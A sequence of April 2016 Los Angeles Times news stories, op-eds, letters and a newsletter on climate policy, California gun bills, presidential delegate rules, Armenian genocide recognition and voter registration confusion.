Vargas, who has been organizing citizenship campaigns for decades, said the level of political engagement by immigrants and their allies this year reminds him of the mood after Proposition 187 was passed.

Its hearkening back to what we experienced 20 years ago, he said.

Follow @katelinthicum on Twitter

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It could be an Earth Day like no other.

On Friday, the United States is expected to join China and about 160 other nations as the first to sign the landmark global climate agreement reached in Paris in December. The accord is widely viewed as an imperfect but essential first step if the world is going to prevent a future of rising seas, devastating heat, extreme weather and the human upheaval they would cause.

For President Obama, the moment marks a triumph in his efforts to combat climate change. His administration has increased investments in wind and solar power, led efforts to reduce power-plant and auto emissions, halted new coal leasing and backed away from offshore oil drilling in the Atlantic. Every few weeks seem to yield a new initiative.

Yet even as the administration says it wants to lead the world on climate, it is stumbling on the home front  facing challenges from those who say it goes too far or not far enough.

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The centerpiece of Obamas climate agenda  the Clean Power Plan to limit greenhouse gas emissions from power plants  is in limbo as the Supreme Court weighs a challenge from states and industries that say the Environmental Protection Agency lacks the legal authority to carry out the plan. Even if it survives, scientists say much more needs to be done to meet emissions reductions stipulated in the Paris agreement  reducing greenhouse gas emissions from 26% to 28% below their 2005 levels by 2025.

In Utah, lawmakers recently approved a byzantine and controversial plan that depends on $53 million in federal money to export Utah coal to Asia, and the state appears unconcerned that the government would try to stop it even though exporting coal to other countries appears to conflict with the administrations climate goals. The money comes from royalties paid to the government for mining on federal land, a law that falls under the Mineral Leasing Act of 1920.

Theres no risk to the state, Stuart Adams, a state senator who helped push the measure through, said in an interview.

In Wyoming, officials recently acknowledged problems with their use of self-bonding to ensure that mining companies, many of which have declared bankruptcy, will pay to restore land they damage. Critics say the government could be forced to pay to clean up old mines or risk leaving huge gashes across the landscape.

Wyoming officials say they acted legally under federal law. Federal officials contend that only Congress can change the policy.

Meanwhile, a coal company in the regions Powder River Basin wants to expand one of the largest mines in the world  and the federal government is fighting for its right to do just that. The Justice Department is helping the Bureau of Land Management argue that the expansion will not have meaningful greenhouse gas impacts.

Critics say such logic flies in the face of an administration plan announced in January to review federal coal leasing in part to determine climate effects.

The examples involve coal, but pick another topic  oil production, salmon habitat, endangered species  and it is easy to find a gap between the administrations stated ambitions and what is actually happening. In some cases, making changes would require action from a Republican-controlled Congress, an unlikely development. But the administration faces plenty of criticism too.

This month, a federal judge in Montana ruled that the U.S. Fish and Wildlife Service was guided by politics, not science, when it decided two years ago that the rare wolverine, a resident of the Rocky Mountains and north Cascades, did not warrant federal protection under the Endangered Species Act.

In a pointed 22-page ruling, Judge Dana Christensen of the federal district court in Montana took the agency to task, suggesting it made its decision in part because it was under immense political pressure from certain Western states.

The listing decision in this case involves climate science, and climate science evokes strong reactions, the judge wrote.

In conclusion, he added, no greater level of certainty is needed to see the writing on the wall for this snow-dependent species standing squarely in the path of global climate change.

It is not surprising that an operation as vast and layered as the federal government has policy conflicts. But experts say climate policy is particularly tangled when it plays out among agencies making decisions on whether, for example, to protect a species or to allow mining or oil production.

In a working paper released this month, experts at the Sabin Center for Climate Change Law at Columbia University found major inconsistencies in how federal agencies address climate change.

The paper examined whether federal environmental law requires agencies that are considering whether to allow fossil fuel projects on public land to weigh the emissions the project would create downstream, such as the burning of the fossil fuels, and upstream, such as the extraction of the fuels and transportation of them to market.

This question is an essential one, because it can significantly affect the balance of costs and benefits of a proposed project and an agencys ability to justify the approval of the project in light of that balance, Jessica Wentz, the centers associate director and a coauthor of the paper, wrote in a blog post.

Wentz and her coauthor, Michael Burger, the centers executive director, determined that these emissions should be considered in most cases. Though they found that agencies are beginning to recognize the issue, they also concluded that that there are major inconsistencies in the analytical approaches both within and across agencies.

Wentz said the White Houses Council on Environmental Quality has issued draft guidelines for how agencies should review projects for climate impacts  but guidelines are not final and lack the force of law.

The other limitation to it, Wentz said, is that it just provides guidance on the assessment process. It isnt guidance that is intended to tell you, And if you conclude there are a lot of greenhouse gas emissions, you should not approve the project.

The administration has received plenty of praise from conservation groups too, even as they may push for change in specific areas. In an email response, a White House spokesman, Frank Benenati, referred to the Climate Action Plan the president announced in 2013 and said the administration has been making steady progress in implementing the all-of-government approach to combating climate change. He singled out the review of the coal leasing program as well as a planned database to track carbon emitted from fossil fuels produced from public lands and new regulations to expand protection for habitat critical to endangered wildlife now and in the future because of climate change.

Benenati said the administration has been pushing to reform federal programs that some have argued are inconsistent with its climate goals.

But several lawyers on opposite sides of the administration said they have been surprised by some of the positions taken by the government  and by the tenacity of its arguments.

Matthew Bishop, a lawyer with the Western Environmental Law Center, which opposed the government in the wolverine case, said that he has been frustrated with several decisions the government has made involving whether to protect species. On the other hand, Bishop said the Obama administration stands to improve its legacy through another branch of government  the judicial system, where those decisions are often challenged.

As much as a disappointment as this administration has been in terms of the Department of the Interior and endangered species listings, the judges [Obama has] appointed have been fantastic, Bishop said. And those are lifetime tenured appointments, so its significant.

Such as Judge Christensen, who sent the administration back the drawing board to rethink the fate of the wolverine. He was appointed by Obama in 2011.

william.yardley@latimes.com

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Im Davan Maharaj, editor-in-chief of the Los Angeles Times. Here are some story lines I dont want you to miss today.

TOP STORIES

Next Stop for Uber: Settlement

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Uber has agreed to pay up to $100 million to drivers who had sought to be classified as employees. The move would settle lawsuits in California and Massachusetts that pose a threat to Ubers business model, which relies on independent contractors. But first, a judge needs to approve of the deal, and that could take months, according to the company. Read on to see what changes could lie in store for drivers too.

Good Night, Sweet Prince

Purple velvet. That unpronounceable symbol. A legacy that defies categorization. Prince left us with so many memories, more than three dozen albums, and yet he remained an enigma. A devout Jehovahs Witness, he explored sexuality, gender roles and fashion on his own terms. There was no one quite like Prince until Prince himself came along, as senior writer Lorraine Ali explains in her appreciation of the late musician.

More About Prince

-- The Time. Sinead OConnor. Carmen Electra: A look at the artists Prince ushered into the spotlight.

-- Full coverage: Reaction, tributes and the latest developments.

-- What did Prince mean to you? Share your memory.

The Iraqi Armys Battle Within

At a dusty base outside Baghdad, they train. The Iraqi recruits are learning how to operate two aging Russian tanks, aiming at a target a few hundred yards away. One problem: They havent been issued ammunition. How can we train? said one officer. Its just one example of the bigger difficulties in building an Iraqi ground force to push Islamic State fighters out of Mosul. Get an up-close look from the Besmaya Range Complex in Iraq.

Clinton and Sanders: Time to Play Nice?

After New York, Hillary Clinton and Bernie Sanders have toned down their attacks on each other. Will the relative peace remain? Its a complicated question as delegates are tallied and superdelegates are wooed. And speaking of delegates: With both the Democratic and Republican candidates intensely focused on the numbers, heres a look at how every procedural mistake by a local party is being magnified. Colorado, anyone?

The Truth About Trash

On this Earth Day, heres a sobering statistic: Each year, nations generate 1.3 billion tons of waste, a number that is expected to rise to 4 billion tons by 2100, according to a World Bank official. More than half the worlds population does not have access to regular trash collection. Read on for some possible solutions.

Welcome to the Graveyard of Languages. Even Spanish.

Across the country, a dramatic linguistic shift is taking place: More Latinos are growing up in households where only English is spoken, according to a Pew Research study. But whats new is old, as generations of immigrants can attest. Just ask German or Italian Americans. Read on to see how the shift toward speaking only English comes with its own complications.

CALIFORNIA

-- More migrants are filing to become citizens in the face of anti-immigration politics.

-- A grand jury report blames underfunding for problems at the L.A. County coroners office.

-- Construction of a privately funded basketball court at Runyon Canyon Park has been halted.

NATION-WORLD

-- The FBI paid at least $1 million to hack into the iPhone of one of the San Bernardino terrorists, according to the bureaus director.

-- A lawsuit against two former contractors may shed light on the CIAs use of torture.

-- Donald Trump starts to shift toward a November clash with Hillary Clinton.

-- Why hundreds of people are dying over cattle in East Africa.

-- The slaying of a 6-year-old Afghan girl in Iran highlights a history of discrimination and abuse.

HOLLYWOOD AND THE ARTS

-- Movie review: The Huntsman: Winters War is a fairy tale in search of a tale to tell.

-- A new film probes what makes the artist David Hockney tick.

-- David Geffen gives $100 million to MoMA but says hes still committed to L.A.

-- Sound familiar? MTV plots a major return to music.

BUSINESS

-- A judge says that owners of emissions-cheating Volkswagens can choose buybacks or repairs.

-- Dozens of Kmart and Sears stores to close, including four in California.

-- SunEdison has filed for Chapter 11 bankruptcy protection.

SPORTS

-- The Anaheim Ducks have evened their NHL playoff series with the Nashville Predators.

-- Days before her death, wrestling star and actress Chyna posted a rambling YouTube video.

OPINION

-- Is the Paris climate accord too little too late?

-- Game of Thrones? More like waste of time.

WHAT OUR EDITORS ARE READING

-- Meet Mr. Everything, the 31-year-old prince who is tasked with remaking Saudi Arabia. (Bloomberg)

-- Gender-affirmation surgery at age 70: How a married couple is staying together after nearly 50 years. (Washington Post)

-- Good riddance, Curt Schilling. (The New Yorker)

-- Why Greenlands suicide rate is among the worlds highest. (NPR)

ONLY IN CALIFORNIA

It was a Sharknado of one. Surfer Drew Palumbo has recorded countless videos along the Orange County coast, but never before had he filmed a great white shark leaping out of the water. Fortunately for him, the shark was about 100 yards away. See the video here.

Please send comments and ideas to Davan Maharaj.
California already has some of the toughest gun regulations in the country, but they unfortunately include a few loopholes big enough to shoot a bullet through. Four measures moving toward the floor of state Senate could help close some of them.

Building on laws in Los Angeles and San Francisco, SB 1446 would ban ammunition magazines holding more than 10 rounds. The state already outlaws the manufacture and sale of such high-capacity clips, but theres no law against owning them. That makes no sense. There is no persuasive reason why any civilian should be able to fire so many bullets with such speed from a military style semi-automatic weapon. It was just such capability that helped the San Bernardino shooters cause so much carnage in such a short period of time last year.

Being able to replace ammunition clips quickly also adds to the death tolls in mass shootings. Current state law requires semi-automatic rifles be equipped with a fixed magazine that requires a tool for its removal. But gun-makers have found a work-around: a locking mechanism for the magazine that can be undone simply by pressing a recessed release button (using, for instance, the tip of a bullet to do so). That little bit of ingenuity satisfies the law but thwarts the intent of the locked-clip requirement. SB 880 would ban the future sale of firearms with the release button and require owners of existing models to register them with the state as assault rifles.

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While state law requires a firearms dealer to file a record of sale with the state when a gun changes hands, no such requirement exists for ammunition  which, in fact, can be sold to just about anyone. (People barred from owning a gun are also barred from buying bullets, but thats hard to enforce because no background check is conducted). An existing law that was to have resolved this issue for handgun ammunition is heading for the state Supreme Court after a lower judge ruled its definition of ammunition was too vague. Meanwhile, Senate Pro-Tem Kevin de Leon has proposed amending the law to clarify the definition, but an analysis by the Senate Public Safety Committee found the changes wouldnt solve the problems found by the judge.

The gunman who shot and killed five people in Santa Monica three years ago was banned from owning a gun, so he bought the parts and made his own.

At the same time, Lt. Gov. Gavin Newsom is trying to put an initiative on the fall ballot to address the issue by requiring a point-of-purchase background check for ammunition sales, as well as banning the high-capacity magazines, among other gun-related policies. Its unclear which approach  legislation or initiative  makes the most sense, but the goals are good and by the time the process is over, we hope the state is left with smarter, tighter laws.

One of the odder loopholes is definitional. The federal government regulates firearms, but not necessarily firearms parts early in the manufacturing process. That has led to a proliferation of businesses that sell components that, with a little time on a drill press, can be used to build semi-automatic rifles. Because those components arent by themselves considered a firearm, they dont carry serial numbers. Serial numbers allow law enforcement to trace weapons.

SB 1407 would change that for a key gun part, called the lower receiver, which is where the firing pin, trigger and magazine come together in a semi-automatic rifle. Shops sell unfinished versions to folks who want to build a gun, which is legal as long as the builder doesnt sell it. Under the proposed law, once someone buys an unfinished lower receiver to make a rifle, he would have to register it with the state Department of Justice and receive a serial number to be permanently affixed to the part.

How big a problem is this? The gunman who shot and killed five people in Santa Monica three years ago was banned from owning a gun, so he bought the parts and made his own. And in recent months, local and federal law-enforcement agents have arrested at least eight people in Northern California on charges relating to the sale of such guns, and have confiscated hundreds of the firearms.

These are good laws to have on the books because they make it harder for people barred from having guns and bullets to obtain them. While they alone may not forge a radical transformation of our gun-loving culture, they represent a few small steps forward in making Californians safer. That alone makes them worth embracing.

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Who are the Jews? A religion? A people? The question has taken on a special urgency in our time. At the heart of the anti-Zionist assault is the notion that the Jews arent a people but only a faith. That premise is normative throughout the Arab world, and especially in the Palestinian statehood movement, all of whose factions deny the existence of a distinct Jewish people with a right to national sovereignty.

The Jewish calendar tells a different story. On Passover, we celebrate the birth of the Jewish people through our escape from Egypt; its the beginning of a coherent historical narrative. On Shavuot, two months later, we celebrate the giving of the Torah at Sinai, imprinting the Jewish people with a distinct path to God. The Jews, then, are a people with a specific faith. In that order.

The Passover Seder implicitly reinforces that hierarchy of identities. The essential Seder ritual is the retelling of the exodus  as though you yourself left Egypt  and the message is: There is no Judaism without the Jewish people and its story.

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My late teacher, Rabbi David Hartman, noted that the definition of Jewish heresy provided by the Haggadah, the text read at the Seder, simultaneously offers a definition of Jewish identity. The evil child of the Haggadah refers to the Jewish people as you rather than us. Unlike Christianity and Islam, where heresy is the rejection of belief, for Judaism heresy is self-exclusion from the community.

As a religious Jew, I believe that our relationship to God is the purpose of Jewish existence. I believe that contemporary Jewish life has been impoverished by the diminishment of the Divine, the abandonment of the quest for the living God in our collective and personal lives.

Yet I also believe that peoplehood is more crucial to Judaism than faith. How else can we make sense of the Jewish atheist? Christians or Muslims who reject religious doctrine are no longer a part of their faith community, while Jews who reject Judaic beliefs but still identify with the Jewish people, its values and its fate are universally regarded among Jews as one of us.

Peoplehood is given primacy over faith for the sake of the faith itself: The Jewish people is the carrier of Judaism.

Peoplehood is given primacy over faith for the sake of the faith itself: The Jewish people is the carrier of Judaism.

All three monotheistic faiths share the same goal: the revelation of Gods presence in this world. But Judaism, once again, works a little differently. While one can of course convert and become a Jew, Judaism was never intended to be a universal faith, only the faith of a specific people  whose purpose is to be a spiritual avant guard within humanity for its eventual redemption. Judaism is a particularist strategy for a universalist goal.

In its early stages in 19th century Germany, Reform Judaism tried to turn Jewish identity into a faith without a people and a land, insisting that its Zion was Berlin, not Jerusalem. Ultimately, though, the Reform movement returned to a more classical understanding of Jewish identity. Even ultra-Orthodox Jews, who routinely place the most strict interpretation of Jewish law over the well-being of the Jewish people, accept peoplehood as a core religious principle.

The Seder culminates with the affirmation, Next year in Jerusalem, a reminder that the Jewish story that begins in Egypt ends in the land of Israel. Were a specific people bound to a specific place.

Last week, as Jews around the world prepared for Passover, the war against the Jewish people and its story  against the meaning of Passover itself  took a particularly ugly turn. A UNESCO resolution, sponsored by seven Arab countries, denounced Israel for supposed violations of Muslim rights to prayer on the site that Muslims call the Haram el Sharif and Jews call the Temple Mount. The resolution ignores the fact that the Israeli government enforces a ban on Jewish prayer at the holy site, granting Muslims exclusive right to pray there. Worse, the resolution implicitly denies the Jewish connection to the area by never actually using the term Temple Mount (only Haram el Sharif). It does refer to the Western Wall, but places that label in quotation marks while leaving the Muslim equivalent, Al Buraq, intact, as though that were the only authentic name.

Reading the resolution, one could conclude that there was no ancient Jewish temple on the Temple Mount, that the Mount isnt the holiest site in Judaism, that the Western Wall isnt the heart of Jewish prayer. One could conclude, therefore, that the Jews living in Israel today have no historic claim to the land, passed down through generations. Of all the attempts to destroy us throughout our history, the campaign against history itself is the most devious.

Passover suggests this definition of the Jews: We are a story we tell ourselves about who we think we are. The current assault on the Jewish story is so dangerous precisely because it strikes at that core idea.

Yossi Klein Halevi is a senior fellow at the Shalom Hartman Institute in Jerusalem. He is author of Like Dreamers: The Story of the Israeli Paratroopers Who Reunited Jerusalem and Divided a Nation.

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Time was, the activists who are rightly pushing the United States to officially refer to the Turkish slaughter of Armenians as a genocide would use presidential campaigns to squeeze recognition promises out of candidates. But 2016 may go down as the year when that single issue has exited from the race to the White House, thanks to the flip-floppery of Hillary Clinton.

Faced with the tension between otherwise liking Clinton and disliking her record on this particular issue, many activists are either dropping recognition as a litmus test, or just not mentioning it at all.

Take the case of George Clooney. The irrepressible actorvist feels so strongly about the recognition issue that on April 24  officially known in the U.S. as the National Day of Remembrance of Mans Inhumanity to Man  he will be in Yerevan to award the inaugural $1 million Aurora Prize for Awakening Humanity, presented on behalf of the survivors of the Armenian Genocide and in gratitude to their saviors. You cant prevent tomorrows genocide, Clooney plausibly argues, if you cant even use the G-word to describe something that happened 100 years ago.

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So why are officials in Washington still dragging their feet on a simple word choice? Because we have military bases in [Turkey], Clooney explained on KPCCs The Frame in October. Suddenly those same politicians who before could say, Yes, there was a genocide, cant talk about it now. You cant call it that. Ive had conversations with senators where Ill say, Can we talk about the Armenian genocide? and theyll say, Absolutely not, because Turkey is our partner in the war on terror. 

And there was Clooney last week, raising what even he acknowledged was an obscene amount of campaign money for Clinton. Meanwhile, recognition proponents Bernie Sanders and Ted Cruz remained on the outside of political Hollywood looking in.

Few politicians can top the former senators about-face on the issue. In January 2008, locked in a primary-season dogfight with Barack Obama, Clinton issued a statement bragging that alone among the presidential candidates, I have been a long-standing supporter of the Armenian Genocide Resolution. That resolution, variants of which have been kicking around Congress for well over a decade, simply calls for Washington to call the genocide by its proper name.

As president, I will recognize the Armenian genocide.  Hillary Clinton in 2008

As president, I will recognize the Armenian genocide, 2008 Clinton continued. Our common morality and our nations credibility as a voice for human rights challenge us to ensure that the Armenian genocide be recognized and remembered by the Congress and the president ....

Yet when handed a golden opportunity to live out her morality as secretary of state, Clinton punted.

In July 2010, Washingtons top diplomat visited the genocide memorial in Yerevan, but refused to use the magic word, and had the State Department refer to the occasion, absurdly, as a private visit. She lobbied Congress to ensure that the genocide resolution never reached the House floor. Asked by a State Department staffer at a January 2012 town hall whether such verbal sidestepping had to do with our relationship with Turkey, Clinton answered the question like a Turkish politician: This has always been viewed, and I think properly so, as a matter of historical debate and conclusions rather than political.

Such was Clintons turnabout that the great Armenian American commentator Harut Sassounian last June, even while urging his compatriots to drop genocide-recognition as a political litmus test, included the caveat: It is important to note that those candidates who have already deceived the Armenian community during previously held elective or appointive positions should be eliminated from all consideration. One such candidate is Hillary Clinton.

But as Clooneys example shows, Clinton is unlikely to suffer much. In part, this is because even the strongest of issue advocates arent necessarily single-issue voters (Kim Kardashian is another loud recognition proponent who has endorsed Hillary). The same was true for Clintons old sparring partner and eventual boss, who proved just as brazen in walking back his 2008 promise and yet didnt pay much of a price for it.

As president I will recognize the Armenian genocide, Barack Obama vowed in January 2008. He even had his top campaign foreign policy adviser, self-styled genocide chick Samantha Power, issue a plaintive YouTube vow to the Armenian American community that this time they wouldnt be double-crossed. Needless to say, neither Power nor Obama lived up to their promises once handed the responsibility of conducting foreign policy.

The ugly fact is that increased U.S. military presence in the world produces increased obsequiousness to the irrationality of strategic partners, from Ankara to Riyadh. Even the most moral of interventions is going to produce immoral actions beyond the actual killing.

And no matter how much you convince yourself about the nobility of any presidential candidate, Democrat or Republican, they are almost certain to sell your single-issue down the river the first time it becomes inconvenient. Thats a movie Id love to see Clooney make next.

Matt Welch is editor in chief of Reason and a contributing writer to Opinion.

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To the editor: With the Tennessee governors veto of his legislatures bill to make the Bible the official state book, they should consider so honoring some constitutionally compliant tome. (Tennessees governor vetoes Bible as state book, April 17

How about a book from the non-fiction realm, something that conveys enlightening, incontrovertible truths rather than preachy, faith-based fables? Something that might help Tennesseans focus on reality and better see their way in life?

My humble suggestion is an empirical classic: On the Origin of Species, by Charles Darwin.

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As the official state book, Darwins work might well inspire Tennessees public schools to spurn the teaching of creationism  currently authorized under state law  and instead imbue their students with evolutionary truths to better understand and appreciate humans existence.

Gloria Martel, Los Angeles

..

To the editor: Verily, its a miracle of biblical proportions! Legislation to adopt the Bible as the state book of Tennessee cited a report that had run in The Times: Even the Los Angeles Times has acknowledged the economic impact of the Bible in Tennessee.

Alas, that stunning concession from an infamously secular daily didnt dissuade the governor from vetoing the Bible bill as blatantly unconstitutional. So now pious Tennessee legislators appear hell-bent on overriding it.

The governor should move to clarify the record with a parenthetical addendum to The Times acknowledgment  say although this newspaper approvingly prints letters from its readers expressing their profound dismay at insidious efforts to install a Christian theocracy.

Perhaps this clarification will provoke a revelation that helps Tennessee legislators see the proverbial light.

Robin Groves, Pacific Palisades

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As the presidential primary race slogs on for both major parties, one thing has become increasingly clear: Its not (just) about the voters.

Of course, candidates are chasing wins in the popular vote tallied in primary elections and caucuses. Just as crucially, though, they are seeking to rack up delegates to their party conventions, a related task that will actually determine who becomes the presidential nominees.

Understanding the delegate chase requires both vocabulary and math lessons.

Delegates are the party stalwarts, elected officials and grass-roots activists who represent their respective states at the national conventions this summer and vote for a nominee.

Though the Republican race has garnered more attention, the Democrats process is a more straightforward place to start.

Democratic delegate selection

When Democrats convene in Philadelphia in July, 4,765 delegates will be present. The threshold for a majority is 2,383 delegates.

Democratic delegates are awarded proportionally in every state contest. For example, in the New York primary, Hillary Clinton won just short of 60% of the popular vote and got a corresponding 139 of the states 245 pledged delegates.

Clinton and rival Bernie Sanders are vying for two types of delegates: pledged and superdelegates. Pledged delegates cast their vote according to how their state voted. Superdelegates  a collection of 712 party leaders, elected officials and other high-profile Democrats  are allowed to vote for whomever they choose.

Superdelegates have been viewed with skepticism by some Democratic primary voters, particularly Sanders supporters, who fear the party establishment could tilt the nomination in Clintons favor and thwart the will of voters.

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But some in the Sanders campaign have slowly come around on trying to use superdelegates to its advantage. Campaign manager Jeff Weaver said on MSNBC this week his team would absolutely focus on flipping superdelegates who back Clinton to capture the nomination.

Overall, Sanders trails well behind Clinton with 1,338 pledged delegates and committed superdelegates, compared with her total of 2,151 , according to projections by the Associated Press.

Its a misconception that superdelegates are some nefarious group that dont pay attention to the voters, said Elaine Kamarck, a senior fellow at the Brookings Institution.

Since superdelegates were first used in 1984, they have never yet turned aside the person who won the most votes in the primary, said Kamarck, author of Primary Politics: Everything You Need to Know about How America Nominates Its Presidential Candidates.

Republican delegate selection

While the Democratic system is uniform, the Republican system is anything but.

The Republican party practices a fierce federalism, which basically means that every state can do whatever it wants, and no two do the same thing, said Ben Ginsberg, a Republican elections attorney.

At the GOP convention in Cleveland in mid-July, 2,472 delegates will attend; a nominee needs 1,237 delegates to clinch the majority.

The result is a patchwork of rules governing the relationship between delegate allocation and voting results; some states are winner-take-all, while others award delegates based on results by congressional district.

Donald Trump leads with 954 delegates, and he insists he can reach 1,237 by the time of the final primary contests in June.

But his rivals, Texas Sen. Ted Cruz and Ohio Gov. John Kasich, who have 562 and 153 delegates respectively, insist no one will clinch a majority before Cleveland.

Were heading to a contested convention, Cruz said the day after losing the New York primary. Nobody is able to reach 1,237 [delegates].

Most delegates must vote according to the results of their states primary or caucus on the first round of voting at the national convention.

But if no candidate secures a majority on that first ballot, some delegates no longer are bound to their states popular vote on subsequent ballots. Those delegates then can vote for whomever they choose.

That has put an intense focus on the individuals selected to serve as delegates often through a separate process from the primary elections. Campaigns are seeking to secure delegate slots for their supporters, should the convention require multiple ballots, and courting other delegates who are not yet committed to a candidate.

Seventy-three percent of delegates will be chosen on the local level: conventions or state executive and central committees, Ginsberg said. That puts an incredible organizational burden on each campaign to be able to keep track of individual delegates.

Cruzs campaign has stood out for its sophisticated delegate-tracking operation. In Georgia, for example, where Trump handily won the primary, Cruz loyalists have won delegate slots; while they must vote for Trump on the first ballot, theyre free to switch to Cruz after that.

Follow @melmason for more on politics.

ALSO:

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After New York drubbing, Ted Cruz shifts his message to attract moderate GOP voters

Inside Trump Nation: Virginia voter, struggling to make ends meet, finds a voice with take-charge Donald Trump

UPDATES:

April 27, 1 p.m.: This story was updated to reflect the April 26 primary results.

This article was originally published at 3 a.m. April 22.
If this years presidential primaries offer an education on the nations byzantine voting rules, Pennsylvania may need its own extra-credit seminar.

The state is the largest among five voting Tuesday and will be crucial in deciding who secures the GOP presidential nomination, whether its determined before or during this summers Republican National Convention in Cleveland.

Yet voters here have little confidence their preferences will be carried out. And most dont even understand how the process works.

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You vote and you just sit back and wait and see how the pieces fall into place, said Abby Swank, a 30-year-old registered Republican from Lancaster.

Though 71 delegates are at stake in Pennsylvania, just 17 are bound by party rules to support the candidate who wins the primary here. The vast majority, 54, will be up for grabs when they arrive in Cleveland to help choose a nominee.

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Theoretically, voters will have a direct influence over those 54 delegates. Nominees for these spots appear on ballots in Pennsylvania, spread across the states 18 congressional districts. Voters in each district select three.

Yet that has prompted numerous concerns: Will voters understand they need to vote for both a presidential candidate and a slate of delegates? Will voters figure out which delegates support their candidate? Will the delegates stick with their candidates under competing pressures?

Britt Gilbert, a 63-year-old from Ephrata who supports Texas Sen. Ted Cruz, was incensed as he pumped gas into his Nissan this week. He said he had no idea which delegate candidates in his district supported Cruz and was annoyed that the information will not appear on the ballot next to the presidential contenders names, as it will for Democrats.

That is a heap of bovine excrement, Gilbert said after initially uttering a few unpublishable words.

Pennsylvania is a model for a larger issue confronting Republicans  and to a lesser extent Democrats  across the country. Most of the state-by-state delegate rules have not been stress-tested in years because recent presidential primaries were settled long before the conventions. Many Pennsylvania Republicans have never even voted in a primary that mattered, given that they live in a state that traditionally is among the last to vote.

The system here is nevertheless arguably more representative than in some other states, which do not let voters have any say in naming delegates.

Donald Trump has made the differing practices a campaign issue, complaining that the system is rigged in places such as Colorado where party leaders and activists chose delegates loyal to Cruz at a series of conventions this month.

Party leaders argue that their rules have long been in place and that political parties, as independent organizations, are entitled to set them.

They are nonetheless under pressure to consider changing them before the next election. Pennsylvania Republicans already tweaked theirs ahead of this years primary. In prior elections, none of the states delegates were bound to support the winner of the popular vote.

Britt Gilbert, a 63-year-old supporter of Ted Cruz from Ephrata, Pa., said he is frustrated that the candidates for convention delegate will not have their presidential preference listed on the ballot. (Noah Bierman / Los Angeles Times )

In the meantime, candidates for delegate slots from Pennsylvania, a normally obscure job with little fanfare, are holding unprecedented campaigns  putting up yard signs and websites, glad-handing at forums, and sending out mailers. Strategists for Trump, Cruz and Ohio Gov. John Kasich are compiling slates of candidates to support and promote.

And party insiders are competing for influence in the event of a contested convention. Bob Asher, one of the states two members of the Republican National Committee who gets an automatic spot as a delegate, said he is supporting a slate of delegates around the state who plan to keep their options open after the first ballot  the more electable person  in the event of a contested convention.

Voters are trying their best to press the delegate candidates to sign blood oaths to carry out their wishes, regardless of how long the balloting lasts in Cleveland.

This week, about 150 people showed up at a tea party club meeting at a firehouse in York County to hear from 10 of the 15 candidates on the ballot in their district. The candidates were a mix  an outsider in a Philadelphia Flyers jersey and baggy jeans, an ex-cop, a few aspiring politicians in suits, an influential party insider who has attended every convention since 1976. The moderator mispronounced several names, most of which were unfamiliar even to the crowd of activists.

Voters marked up questionnaires filled out by the delegate candidates with circles, notes and Xs, trying to figure out who would stick with their candidate at the convention and for how long.

Trump is leading most public opinion polls here by wide margins. Three of the candidates for delegate won applause when they said they would stick with Trump no matter what in a contested convention. Their names also appear on a website created this month by a Trump supporter who complained that the Trump campaign is not doing enough to get the word out in Pennsylvania.

Regardless of who you support, people should know who youre voting for, said Gabriel Keller, the website creator, who is also running for a delegate spot in a district north of Pittsburgh. Keller is worried that voters will simply select the first three names on the ballot, which were determined by lottery.

Other candidates at the York forum said they would vote the will of the district on the first ballot at the convention, with some indicating they might switch in subsequent ballots.

Almost all of them promised not to pick a candidate who did not run, such as Mitt Romney or House Speaker Paul D. Ryan.

My position is very simple: who you vote, who you elect, that is who I vote the whole way through, said Tim Barker, a candidate from Springettsbury Township. Barker, a prosecutor, compared the election to a trial. The evidence is your vote. I think it is highly irresponsible to disregard that.

Abby Swank, a registered Republican from Lancaster, Pa., said most voters do not know who is running for delegate. (Noah Bierman / Los Angeles Times )

Though such statements drew nods of approval from many in the crowd, John Roland stood up and angrily denounced the whole process.

Each of us has a vote, said Roland, a 79-year-old retired crane operator. These gentlemen, each of them is going to have 100,000 votes. It just doesnt seem fair.

The county Republican chairman, Alexander Shorb, who is also running for delegate, did not argue with him.

Sir, you are absolutely right, Shorb said. Its an antiquated system.

Rolands wife, Lola, a retired IT analyst, said after the meeting she had voted for years without realizing that voters had little say in the outcome. Then she started reading about the process in recent days.

I walked into the living room in tears and said, Youre not going to believe this, she recalled. I thought I was relatively savvy.

John Roland called it the best-kept secret in the country.

Why the [heck] do we get in a car and go vote when it is of almost no significance?

Twitter: @noahbierman

ALSO:

Analysis: After New York battle, Clinton and Sanders temper their vitriol. But there are signs it wont last

Donald Trump starts shift toward November clash with Hillary Clinton

After New York drubbing, Ted Cruz shifts his message to attract moderate GOP voters
Listen to Donald Trump robocall urging Californias no party preference voters to register as Republicans

Donald Trump has a message for people who are not registered with a political party in California: switch your affiliation to Republican in order to vote in the June 7 primary.

In robocalls to nearly 1 million independents in the state, the billionaire businessman encourages them to registers as Republicans so they can vote in the closed primary.

(As The Times has been reporting, there is no independent designation in California, and many thousands of people are mistakenly registered in the American Independent Party.)

Trump is seeking to secure the 1,237 delegates needed to capture the GOP nomination over his rivals, Texas Sen. Ted Cruz and Ohio Gov. John Kasich. Both Cruz and Kasich say they will stay in the race and are aiming to secure the nomination in a contested convention in July in Cleveland.

In order for your vote to count you must be registered to vote as a Republican, Trump says in the robocall. Several people from Orange County to Sacramento reported receiving a call Friday.

Listen to the call below.
Dozens of voters have reached out to the Los Angeles Times since we began our project chronicling the widespread confusion that led many of them to mistakenly sign up for the ultraconservative American Independent Party.

We solicited responses from readers who shared their stories on our website, found folks spreading the word to their friends through social media and interviewed voters who had been contacted through a poll conducted for The Times.

Accidental AIP members included a self-described anchor baby from inland L.A. County, an attorney in Laguna Beach, a UC Berkeley student and a retired forklift driver from Fresno County. They include people who have spent decades as Republicans and Democrats, newly minted voters and veteran ballot-casters, and both Donald Trump supporters and detractors.

Here are some observations about the confusion in trying to be independent, in their own words.

A longtime Republican not on board with Trump

I probably just saw the word independent and thought, Oh, thats what I am,  said Henry Arias, 58, who works in marketing.

I would love for there to be a prominent party that represents the truth and doesnt stick to a side for the sake of it. I would love for there to be a party that represents people like me, he said.

Arias, who was a Republican for two decades and lives in Simi Valley in the heart of Reagan Country, considers himself a conservative. But when he learned about the American Independent Partys support for Trump, he didnt like it.

That turns me off big time, he said. I think that Trump is very extreme and not conservative, and to hear that they support him makes me think that theyre extreme. And not careful.

When he discovered his mistake, Arias said, he was a little surprised, a little embarrassed. ... Because I was careless, Im in a party that I dont know anything about.

How entirely misleading. It's like Kelloggs renaming Sugar Frosted Flakes, Worlds Healthiest Cereal.  Bob Buchmann of Oceanside, Calif., on his mistaken registration

The college student who did really well in government class

Utter embarrassment.

That's how Jennifer Yu, a junior at UC Berkeley, describes how she felt when she discovered she was part of the AIP.

